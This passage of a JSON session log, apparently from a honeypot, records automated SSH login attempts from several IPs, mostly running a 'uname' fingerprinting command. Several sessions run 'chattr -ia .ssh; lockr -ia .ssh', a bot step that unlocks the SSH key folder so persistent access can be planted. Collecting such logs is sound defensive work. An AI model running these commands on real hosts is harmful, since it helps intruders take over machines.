  "ended_at": "2026-08-26T11:50:40.868637+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "d5f356b2-6a31-4891-ab1b-831bba85319c",
  "name": "rugged-subtle-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 523,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:13.663564+00:00",
  "ended_at": "2026-08-26T11:50:15.028277+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d731eb16-9d87-4af7-b440-2cf100f326e9",
  "name": "earnest-humble-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52076,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:50:09.007699+00:00",
  "ended_at": "2026-08-26T11:50:13.686534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bacbdbc-ec44-4045-8c13-3058ffbcb9a1",
  "name": "opal-indigo-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46552,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:06.711817+00:00",
  "ended_at": "2026-08-26T11:50:13.687777+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1654
 },
 {
  "id": "3441d3d2-b82b-4f60-9c30-961be357a7bc",
  "name": "humble-smooth-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 45150,
  "username": "kafka",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:49:58.540268+00:00",
  "ended_at": "2026-08-26T11:50:04.824812+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cffd62f-dfd7-4c6e-b748-57cb8501da43",
  "name": "sullen-quiet-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54616,
  "username": "kafka",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 739,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:56.708029+00:00",
  "ended_at": "2026-08-26T11:50:04.825856+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "d7e53390-6316-4087-9fab-d6f875528779",
  "name": "buoyant-freckled-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1122,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:42.222966+00:00",
  "ended_at": "2026-08-26T11:49:43.352522+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6574b5c4-8e24-4f61-bcc6-b698cc37c500",
  "name": "nimble-smooth-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46530,
  "username": "calvin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:49:36.052655+00:00",
  "ended_at": "2026-08-26T11:49:45.296267+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d680827-3c24-49a3-ba97-9dedd58ba4de",
  "name": "ivory-brisk-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37198,
  "username": "calvin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 811,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:31.230791+00:00",
  "ended_at": "2026-08-26T11:49:45.294929+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "13b71b60-6fae-4a2a-9f2d-89dfb0e32348",
  "name": "wry-jolly-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 667,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:11.007632+00:00",
  "ended_at": "2026-08-26T11:49:12.993519+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac6f3a48-9860-4960-b876-f074186d800e",
  "name": "dappled-wooded-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37232,
  "username": "qw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:48:59.738943+00:00",
  "ended_at": "2026-08-26T11:49:04.948249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a850ce7-b611-4688-b87f-c300e9073403",
  "name": "civil-grumpy-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37606,
  "username": "qw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 909,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:57.490582+00:00",
  "ended_at": "2026-08-26T11:49:04.950018+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "fa5d87a2-dec5-489a-94b9-3809f69a3c52",
  "name": "snowy-fickle-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62334,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:48:41.656813+00:00",
  "ended_at": "2026-08-26T11:48:51.805437+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28a979a1-076d-4b25-be0a-65ba1e793d8f",
  "name": "airy-calm-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:29.196852+00:00",
  "ended_at": "2026-08-26T11:48:29.616009+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ccf32f3-cbe9-4adf-8fe7-23943a53de80",
  "name": "woven-amiable-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43898,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 864,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:48:24.883383+00:00",
  "ended_at": "2026-08-26T11:48:26.523120+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2129
 },
 {
  "id": "84f9aede-b81a-4170-be06-8ba443a43ea7",
  "name": "dapper-golden-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:17.522609+00:00",
  "ended_at": "2026-08-26T11:48:19.153250+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e94487f-dfc2-44ff-8bb3-cc2fae1c85f5",
  "name": "bold-patient-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46080,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:48:08.941578+00:00",
  "ended_at": "2026-08-26T11:48:15.696593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ffccd25c-f44c-4646-b1f9-bc346243c1f6",
  "name": "buoyant-wandering-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55696,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 678,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:06.648778+00:00",
  "ended_at": "2026-08-26T11:48:15.695438+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8ff1ffc8-d96a-489f-b261-6fce9ed935cd",
  "name": "woven-crisp-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43916,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:48:00.553440+00:00",
  "ended_at": "2026-08-26T11:48:02.214616+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d7874b0-feb9-4a79-8719-39a23ef61b4f",
  "name": "hazel-wooded-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43908,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:56.755641+00:00",
  "ended_at": "2026-08-26T11:47:58.790593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "366ea92a-e43f-4cf2-bb17-514ad59a5731",
  "name": "breezy-nautical-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55660,
  "username": "john",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:44.072067+00:00",
  "ended_at": "2026-08-26T11:47:49.291228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bedaaf2-d9c7-45a2-aa16-de92a0c47943",
  "name": "gleaming-ginger-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49392,
  "username": "john",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 684,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:47:42.874237+00:00",
  "ended_at": "2026-08-26T11:47:49.292440+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "318b621c-bb37-4678-9a60-771457a82376",
  "name": "early-chilly-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 61046,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:37.489174+00:00",
  "ended_at": "2026-08-26T11:47:56.643621+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20b32771-c134-4910-b900-6a22d8e341d5",
  "name": "graceful-flinty-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 683,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:47:33.034875+00:00",
  "ended_at": "2026-08-26T11:47:33.416014+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "055ccea4-6834-47e4-bc28-2dbc64d4edd8",
  "name": "meadow-proud-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.119.63.81",
  "src_port": 26112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:24.645525+00:00",
  "ended_at": "2026-08-26T11:47:24.982661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0ad4000-30fe-4105-94c2-380e3128420c",
  "name": "muted-tender-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:11.865316+00:00",
  "ended_at": "2026-08-26T11:47:29.590076+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc5e6ab6-9d1f-4f0a-b553-edde53f9122f",
  "name": "dusky-murky-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 728,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:47:10.584190+00:00",
  "ended_at": "2026-08-26T11:47:29.591126+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "1a6722a2-4f36-4e9c-a727-a202b91e0ba1",
  "name": "gnarled-dusky-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46178,
  "username": "wang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:46:40.916529+00:00",
  "ended_at": "2026-08-26T11:46:44.852602+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7d9723b-5f85-4c76-b6e4-0d452896095e",
  "name": "wooded-amiable-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36580,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:46:38.727558+00:00",
  "ended_at": "2026-08-26T11:46:40.939886+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "263a519b-9c24-43de-a766-06688625a1f6",
  "name": "plush-steady-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 30972,
  "username": "shaquan",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:45:49.231829+00:00",
  "ended_at": "2026-08-26T11:45:49.639177+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efda98f5-9861-49eb-9297-205440d44688",
  "name": "spirited-ashen-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43698,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:45:49.197397+00:00",
  "ended_at": "2026-08-26T11:45:50.712730+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2113
 },
 {
  "id": "22a06204-1dd6-424f-a5cd-4bbab52a4dd9",
  "name": "patient-diligent-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43714,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:45:24.886485+00:00",
  "ended_at": "2026-08-26T11:45:26.635154+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f924901-75a7-4200-b548-04e771a1602c",
  "name": "inland-arctic-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43706,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:45:21.495200+00:00",
  "ended_at": "2026-08-26T11:45:23.189160+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db473a6a-1e5b-477e-9c46-9cb0be06f002",
  "name": "placid-wistful-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55941,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:43:32.085256+00:00",
  "ended_at": "2026-08-26T11:43:33.209439+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f739557-5a93-47b5-af38-f229af1575a9",
  "name": "northern-scarlet-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43498,
  "username": "tmpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 848,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:43:02.590725+00:00",
  "ended_at": "2026-08-26T11:43:04.236263+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2102
 },
 {
  "id": "eee6490f-e074-4bfc-9570-66c3e57a2816",
  "name": "downy-frosty-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43512,
  "username": "tmpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:42:38.384061+00:00",
  "ended_at": "2026-08-26T11:42:40.350917+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a0e615a-35cb-477f-bc81-ae1ceac5959a",
  "name": "reedy-alpine-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:42:35.083935+00:00",
  "ended_at": "2026-08-26T11:42:36.693089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5af68a09-f49c-452e-961c-a92307f8d3a6",
  "name": "scarlet-tranquil-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 43750,
  "username": "bill",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:42:02.270195+00:00",
  "ended_at": "2026-08-26T11:42:02.954243+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "ef312667-4883-4552-bf1c-8bf2bfaebc4d",
  "name": "thorny-clever-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 43772,
  "username": "bill",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:41:47.486555+00:00",
  "ended_at": "2026-08-26T11:41:48.523056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b174d873-608c-4ca8-9b1e-f41246049956",
  "name": "northern-arctic-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 43756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:41:44.412168+00:00",
  "ended_at": "2026-08-26T11:41:45.705310+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c88a40df-a844-48ad-9d3a-19291ed8dc4e",
  "name": "salty-weathered-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43304,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 847,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:40:23.703335+00:00",
  "ended_at": "2026-08-26T11:40:24.998012+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2092
 },
 {
  "id": "18cdf5ba-215d-4b86-806f-9abec1cc186e",
  "name": "frugal-dappled-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43320,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:39:59.586241+00:00",
  "ended_at": "2026-08-26T11:40:00.386543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9e6566-e033-4224-8cf1-56383b960f69",
  "name": "feathered-nimble-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43312,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:39:56.788694+00:00",
  "ended_at": "2026-08-26T11:39:57.889858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "949d19fb-cc2f-454b-ae88-9ccf8f1e9195",
  "name": "cheerful-clever-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43102,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 862,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:44.723066+00:00",
  "ended_at": "2026-08-26T11:37:45.896430+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "297dd5dd-940c-4ec1-8e0e-cdc4a634979f",
  "name": "gleaming-vernal-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 52474,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 943,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:43.080918+00:00",
  "ended_at": "2026-08-26T11:37:43.851050+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ff668f3e-b80d-42c2-a70a-444800358796",
  "name": "twilight-cobalt-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47100,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:27.544494+00:00",
  "ended_at": "2026-08-26T11:37:28.911062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9e9a680-9441-49b6-bc46-77a63e953251",
  "name": "wistful-freckled-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:24.744911+00:00",
  "ended_at": "2026-08-26T11:37:25.828021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a66adb7a-e96e-4e29-8388-33c69b554bee",
  "name": "marbled-solemn-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43120,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:20.496098+00:00",
  "ended_at": "2026-08-26T11:37:22.386219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dadfa8e8-56a0-45e1-82d5-675706bac657",
  "name": "languid-tidal-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:16.792312+00:00",
  "ended_at": "2026-08-26T11:37:18.795678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f688927-cb18-4d42-b899-112b3857f660",
  "name": "gleaming-solemn-ocelot",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:36:18.756691+00:00",
  "ended_at": "2026-08-26T11:51:56.161295+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4cf5e70e-2147-4b2f-84d5-e519600a43df",
  "name": "fierce-northern-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48926,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
